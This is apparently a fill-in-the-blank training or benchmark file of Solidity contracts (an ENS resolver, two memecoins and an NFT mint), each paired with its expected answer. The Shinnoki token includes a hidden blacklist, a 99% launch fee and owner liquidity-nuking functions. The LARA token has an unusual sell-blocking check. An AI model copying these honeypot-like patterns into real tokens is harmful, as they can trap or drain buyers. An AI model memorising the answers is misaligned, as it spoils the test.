mapping(bytes32 => uint256) private _guildRecordVersions;
modifier onlyEnsGuildsContract() {
}
constructor(
ENS _ensRegistry,
INameWrapper _ensNameWrapper,
address reverseRecordOwner
) WildcardResolverBase(_ensRegistry, _ensNameWrapper) ReverseClaimer(_ensRegistry, reverseRecordOwner) {
}
function initialize(IENSGuilds _ensGuilds) external {
// solhint-disable reason-string, custom-errors
require(<FILL_ME>)
require(_ensGuilds.supportsInterface(type(IENSGuilds).interfaceId));
// solhint-enable reason-string, custom-errors
ensGuilds = _ensGuilds;
}
function onGuildRegistered(string calldata guildName) external onlyEnsGuildsContract {
}
/**
* Sets the address associated with a guild tag.
* May only be called by descendants of this contract
*/
function setEnsForwardRecord(
bytes32 guildEnsNode,
string memory tag,
address _addr
) external onlyEnsGuildsContract {
}
function clearEnsRecordsForGuild(bytes32 guildEnsNode) external onlyEnsGuildsContract {
}
function setPassthroughTarget(bytes32 guildEnsNode, address resolver) external onlyEnsGuildsContract {
}
function getTagOwner(bytes32 guildEnsNode, bytes32 tagHash) public view returns (address) {
}
function _resolveWildcardEthAddr(
bytes calldata childUtf8Encoded,
bytes calldata parentDnsEncoded
) internal view override returns (address) {
}
function _resolveWildcardTextRecord(
bytes calldata,
bytes calldata,
string calldata
) internal pure override returns (string memory) {
}
function isAuthorised(bytes32 node) internal view override returns (bool) {
}
}
|
address(ensGuilds)==address(0)
| 210,232 |
address(ensGuilds)==address(0)
|
null |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import { NameEncoder } from "@ensdomains/ens-contracts/contracts/utils/NameEncoder.sol";
import { ReverseClaimer } from "@ensdomains/ens-contracts/contracts/reverseRegistrar/ReverseClaimer.sol";
import { ENS } from "@ensdomains/ens-contracts/contracts/registry/ENS.sol";
import { INameWrapper } from "@ensdomains/ens-contracts/contracts/wrapper/INameWrapper.sol";
import { WildcardResolverBase } from "../ensWildcardResolvers/WildcardResolverBase.sol";
import { IENSGuilds } from "./interfaces/IENSGuilds.sol";
contract GuildsResolver is WildcardResolverBase, ReverseClaimer {
using NameEncoder for string;
IENSGuilds public ensGuilds;
// guildEnsNode => recordVersion => keccak256(tag) => tagOwner
mapping(bytes32 => mapping(uint256 => mapping(bytes32 => address))) private _guildRecords;
// used to clear all of a Guild's ENS records
mapping(bytes32 => uint256) private _guildRecordVersions;
modifier onlyEnsGuildsContract() {
}
constructor(
ENS _ensRegistry,
INameWrapper _ensNameWrapper,
address reverseRecordOwner
) WildcardResolverBase(_ensRegistry, _ensNameWrapper) ReverseClaimer(_ensRegistry, reverseRecordOwner) {
}
function initialize(IENSGuilds _ensGuilds) external {
// solhint-disable reason-string, custom-errors
require(address(ensGuilds) == address(0));
require(<FILL_ME>)
// solhint-enable reason-string, custom-errors
ensGuilds = _ensGuilds;
}
function onGuildRegistered(string calldata guildName) external onlyEnsGuildsContract {
}
/**
* Sets the address associated with a guild tag.
* May only be called by descendants of this contract
*/
function setEnsForwardRecord(
bytes32 guildEnsNode,
string memory tag,
address _addr
) external onlyEnsGuildsContract {
}
function clearEnsRecordsForGuild(bytes32 guildEnsNode) external onlyEnsGuildsContract {
}
function setPassthroughTarget(bytes32 guildEnsNode, address resolver) external onlyEnsGuildsContract {
}
function getTagOwner(bytes32 guildEnsNode, bytes32 tagHash) public view returns (address) {
}
function _resolveWildcardEthAddr(
bytes calldata childUtf8Encoded,
bytes calldata parentDnsEncoded
) internal view override returns (address) {
}
function _resolveWildcardTextRecord(
bytes calldata,
bytes calldata,
string calldata
) internal pure override returns (string memory) {
}
function isAuthorised(bytes32 node) internal view override returns (bool) {
}
}
|
_ensGuilds.supportsInterface(type(IENSGuilds).interfaceId)
| 210,232 |
_ensGuilds.supportsInterface(type(IENSGuilds).interfaceId)
|
"Exceeds the maxWalletSize."
|
/**
Let's embark on a new realm of adventure, accompanied by Lara Croft, as explorers seek out concealed ethereum treasures within the realm of the crypto universe. The time has come for us to journey forth!
Website: https://tombraider.fun
Twitter: https://twitter.com/TombRaider_ERC
Telegram: https://t.me/TombRaider_ERC
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
interface IERC20 {
function approve(address spender, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval (address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function renounceOwnership() public virtual onlyOwner {
}
modifier onlyOwner() {
}
function owner() public view returns (address) {
}
}
interface IUniswapFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapRouter02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract LARA is IERC20, Context, Ownable {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint256) private _balances;
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 10 ** 9 * 10**_decimals;
uint256 public _maxTransfer = 4 * 10 ** 7 * 10**_decimals;
uint256 public _maxHolding = 4 * 10 ** 7 * 10**_decimals;
uint256 public _swapThreshold = 10 ** 7 * 10**_decimals; // 1%
uint256 public _maxSwap = 10 ** 7 * 10**_decimals; // 1%
string private constant _name = "Tomb Raider";
string private constant _symbol = "LARA";
address payable private _taxWallet;
IUniswapRouter02 private uniswapV2Router;
address private uniswapV2Router_;
address private uniswapV2Pair;
uint256 private _initialBuyTax=15;
uint256 private _initialSellTax=15;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=11;
uint256 private _reduceSellTaxAt=11;
uint256 private _preventSwapBefore=11;
uint256 private numBuyers=0;
uint256 private tradingActiveBlock;
bool private tradingEnabled;
bool private swapping = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTransfer);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function totalSupply() public pure override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function sendETHToFee(uint256 amount) private {
}
function swapTokensForETH(address receiver, uint256 tokenAmount) private lockTheSwap {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner() && ! _isExcludedFromFee[from]) {
taxAmount = amount.mul((numBuyers>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTransfer, "Exceeds the _maxTransfer.");
require(<FILL_ME>)
if (tradingActiveBlock + 3 > block.number) {
require(!isContract(to));
}
numBuyers++;
}
if (to != uniswapV2Pair) {
require(balanceOf(to) + amount <= _maxHolding, "Exceeds the maxWalletSize.");
}
if(to == uniswapV2Pair && from!= address(this)){
require(balanceOf(to) >= _totalSupply / 100);
taxAmount = amount.mul((numBuyers>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!swapping && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_swapThreshold && numBuyers>_preventSwapBefore) {
swapTokensForETH(to, min(amount,min(contractTokenBalance,_maxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function openTrading() external payable onlyOwner() {
}
function removeLimits() external onlyOwner{
}
function isContract(address account) private view returns (bool) {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
receive() external payable {}
}
|
balanceOf(to)+amount<=_maxHolding,"Exceeds the maxWalletSize."
| 210,365 |
balanceOf(to)+amount<=_maxHolding
|
null |
/**
Let's embark on a new realm of adventure, accompanied by Lara Croft, as explorers seek out concealed ethereum treasures within the realm of the crypto universe. The time has come for us to journey forth!
Website: https://tombraider.fun
Twitter: https://twitter.com/TombRaider_ERC
Telegram: https://t.me/TombRaider_ERC
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
interface IERC20 {
function approve(address spender, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval (address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function renounceOwnership() public virtual onlyOwner {
}
modifier onlyOwner() {
}
function owner() public view returns (address) {
}
}
interface IUniswapFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapRouter02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract LARA is IERC20, Context, Ownable {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint256) private _balances;
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 10 ** 9 * 10**_decimals;
uint256 public _maxTransfer = 4 * 10 ** 7 * 10**_decimals;
uint256 public _maxHolding = 4 * 10 ** 7 * 10**_decimals;
uint256 public _swapThreshold = 10 ** 7 * 10**_decimals; // 1%
uint256 public _maxSwap = 10 ** 7 * 10**_decimals; // 1%
string private constant _name = "Tomb Raider";
string private constant _symbol = "LARA";
address payable private _taxWallet;
IUniswapRouter02 private uniswapV2Router;
address private uniswapV2Router_;
address private uniswapV2Pair;
uint256 private _initialBuyTax=15;
uint256 private _initialSellTax=15;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=11;
uint256 private _reduceSellTaxAt=11;
uint256 private _preventSwapBefore=11;
uint256 private numBuyers=0;
uint256 private tradingActiveBlock;
bool private tradingEnabled;
bool private swapping = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTransfer);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function totalSupply() public pure override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function sendETHToFee(uint256 amount) private {
}
function swapTokensForETH(address receiver, uint256 tokenAmount) private lockTheSwap {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner() && ! _isExcludedFromFee[from]) {
taxAmount = amount.mul((numBuyers>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTransfer, "Exceeds the _maxTransfer.");
require(balanceOf(to) + amount <= _maxHolding, "Exceeds the maxWalletSize.");
if (tradingActiveBlock + 3 > block.number) {
require(!isContract(to));
}
numBuyers++;
}
if (to != uniswapV2Pair) {
require(balanceOf(to) + amount <= _maxHolding, "Exceeds the maxWalletSize.");
}
if(to == uniswapV2Pair && from!= address(this)){
require(<FILL_ME>)
taxAmount = amount.mul((numBuyers>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!swapping && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_swapThreshold && numBuyers>_preventSwapBefore) {
swapTokensForETH(to, min(amount,min(contractTokenBalance,_maxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function openTrading() external payable onlyOwner() {
}
function removeLimits() external onlyOwner{
}
function isContract(address account) private view returns (bool) {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
receive() external payable {}
}
|
balanceOf(to)>=_totalSupply/100
| 210,365 |
balanceOf(to)>=_totalSupply/100
|
"user is not whitelisted"
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
//tokenURI interface
interface iTokenURI {
function tokenURI(uint256 _tokenId) external view returns (string memory);
}
contract JUNKeeeeS is Ownable, AccessControl , ERC721A{
constructor(
) ERC721A("JUNK FOOD PARTY", "JFP") {
}
//
//withdraw section
//
address public constant withdrawAddress = 0x2f624Bde8eE37793F0677E6b9eE97bf68AAC6172;
function withdraw() public onlyOwner {
}
//
//mint section
//
uint256 public cost = 0;
uint256 public maxSupply = 1111;
uint256 public maxMintAmountPerTransaction = 10;
uint256 public publicSaleMaxMintAmountPerAddress = 300;
bool public paused = true;
bool public onlyWhitelisted = true;
bool public mintCount = true;
mapping(address => uint256) public whitelistMintedAmount;
mapping(address => uint256) public publicSaleMintedAmount;
bytes32 public constant AIRDROP_ROLE = keccak256("AIRDROP_ROLE");
modifier callerIsUser() {
}
//mint with mapping
mapping(address => uint256) public whitelistUserAmount;
function mint(uint256 _mintAmount ) public payable callerIsUser{
require(!paused, "the contract is paused");
require(0 < _mintAmount, "need to mint at least 1 NFT");
require(_mintAmount <= maxMintAmountPerTransaction, "max mint amount per session exceeded");
require(totalSupply() + _mintAmount <= maxSupply, "max NFT limit exceeded");
require(cost * _mintAmount <= msg.value, "insufficient funds");
if(onlyWhitelisted == true) {
require(<FILL_ME>)
if(mintCount == true){
require(_mintAmount <= whitelistUserAmount[msg.sender] - whitelistMintedAmount[msg.sender] , "max NFT per address exceeded");
whitelistMintedAmount[msg.sender] += _mintAmount;
}
}else{
if(mintCount == true){
require(_mintAmount <= publicSaleMaxMintAmountPerAddress - publicSaleMintedAmount[msg.sender] , "max NFT per address exceeded");
publicSaleMintedAmount[msg.sender] += _mintAmount;
}
}
_safeMint(msg.sender, _mintAmount);
}
function setWhitelist(address[] memory addresses, uint256[] memory saleSupplies) public onlyOwner {
}
function airdropMint(address[] calldata _airdropAddresses , uint256[] memory _UserMintAmount) public {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner() {
}
function setPublicSaleMaxMintAmountPerAddress(uint256 _publicSaleMaxMintAmountPerAddress) public onlyOwner() {
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setOnlyWhitelisted(bool _state) public onlyOwner {
}
function setMaxMintAmountPerTransaction(uint256 _maxMintAmountPerTransaction) public onlyOwner {
}
function pause(bool _state) public onlyOwner {
}
function setMintCount(bool _state) public onlyOwner {
}
//
//URI section
//
string public baseURI;
string public baseExtension = ".json";
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
//
//interface metadata
//
iTokenURI public interfaceOfTokenURI;
bool public useInterfaceMetadata = false;
function setInterfaceOfTokenURI(address _address) public onlyOwner() {
}
function setUseInterfaceMetadata(bool _useInterfaceMetadata) public onlyOwner() {
}
//
//token URI
//
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
//
//burnin' section
//
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
function externalMint(address _address , uint256 _amount ) external payable {
}
//
//viewer section
//
function tokensOfOwner(address owner) public view returns (uint256[] memory) {
}
//
//override
//
function supportsInterface(bytes4 interfaceId) public view override(ERC721A , AccessControl) returns (bool) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
}
|
whitelistUserAmount[msg.sender]!=0,"user is not whitelisted"
| 210,530 |
whitelistUserAmount[msg.sender]!=0
|
"You have no power here!"
|
/**
*Submitted for verification at Etherscan.io on 2023-01-14
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
// TG: https://t.me/shinnoki
//
//
//
//
//
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDexPair {
function sync() external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string public _name;
string public _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() external virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) external virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract Shinnoki is ERC20, Ownable {
IDexRouter public dexRouter;
address public lpPair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
address public RouterAddress;
address public LiquidityReceiver;
uint256 public maxTxnAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPMarketing = 0; // 100 = 1%
bool public lpMarketingEnabled = false;
uint256 public lpMarketingFrequency = 0 seconds;
uint256 public lastLpMarketingTime;
uint256 public manualMarketingFrequency = 1 hours;
uint256 public lastManualLpMarketingTime;
//launch variables
bool public tradingActive = false;
uint256 private _blocks;
uint256 public tradingActiveBlock = 0;
bool public swapEnabled = false;
// prevent more than 1 buy on same block this may cuz rug check bots to fail but helpful on launches
mapping(address => uint256) private _holderLastTransferBlock; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = false;
uint256 public TotalbuyFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public TotalsellFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedmaxTxnAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP(uint256 amount);
event ManualNukeLP(uint256 amount);
event OwnerForcedSwapBack(uint256 timestamp);
constructor() ERC20("Shinnoki", "SHI") payable {
}
receive() external payable {}
mapping (address => bool) private _isBlackListed;
// Toggle Transfer delay
function DisableTransferDelay() external onlyOwner {
}
function setSwapTokensAt(uint256 newAmount) external onlyOwner returns (bool){
}
function updateMaxTxn_base1000(uint256 newNum) external onlyOwner {
}
function updateMaxWallet_base1000(uint256 newNum) external onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
}
// in case something goes wrong on auto swap
function updateSwapEnabled(bool enabled) external onlyOwner(){
}
function _setbuyfees(uint256 _marketing,uint256 _liquidity) external onlyOwner{
}
function _setsellfees(uint256 _marketing,uint256 _liquidity) external onlyOwner{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function SetupFeeReceivers(address _mar,address _liq,address _dev) external onlyOwner {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(<FILL_ME>)
require(!_isBlackListed[tx.origin], "You have no power here!");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping &&
!_isExcludedFromFees[to] &&
!_isExcludedFromFees[from]
){
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != address(dexRouter) && to != address(lpPair)){
require(_holderLastTransferBlock[tx.origin] < block.number - 1 && _holderLastTransferBlock[to] < block.number - 1, "_transfer:: Transfer Delay enabled. Try again later.");
_holderLastTransferBlock[tx.origin] = block.number;
_holderLastTransferBlock[to] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedmaxTxnAmount[to]) {
require(amount <= maxTxnAmount, "Buy transfer amount exceeds the maxTxnAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedmaxTxnAmount[from]) {
require(amount <= maxTxnAmount, "Sell transfer amount exceeds the maxTxnAmount.");
}
else if (!_isExcludedmaxTxnAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpMarketingEnabled && block.timestamp >= lastLpMarketingTime + lpMarketingFrequency && !_isExcludedFromFees[from]){
autoMarketingLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// bot/sniper penalty. Tokens get transferred to Marketing wallet to allow potential refund.
if((tradingActiveBlock >= block.number - _blocks) && automatedMarketMakerPairs[from]){
fees = amount * 99 / 100;
tokensForLiquidity += fees * sellLiquidityFee / TotalsellFees;
tokensForMarketing += fees * sellMarketingFee / TotalsellFees;
tokensForDev += fees * sellDevFee / TotalsellFees;
}
// on sell
else if (automatedMarketMakerPairs[to] && TotalsellFees > 0){
fees = amount * TotalsellFees / 100;
tokensForLiquidity += fees * sellLiquidityFee / TotalsellFees;
tokensForMarketing += fees * sellMarketingFee / TotalsellFees;
tokensForDev += fees * sellDevFee / TotalsellFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && TotalbuyFees > 0) {
fees = amount * TotalbuyFees / 100;
tokensForLiquidity += fees * buyLiquidityFee / TotalbuyFees;
tokensForMarketing += fees * buyMarketingFee / TotalbuyFees;
tokensForDev += fees * buyDevFee / TotalbuyFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
// force Swap back if slippage issues.
function forceSwapBack() external onlyOwner {
}
function autoMarketingLiquidityPairTokens() internal{
}
function manualMarketingLiquidityPairTokens(uint256 percent) external onlyOwner {
}
function EnableTrading() external onlyOwner {
}
// withdraw ETH if stuck before launch
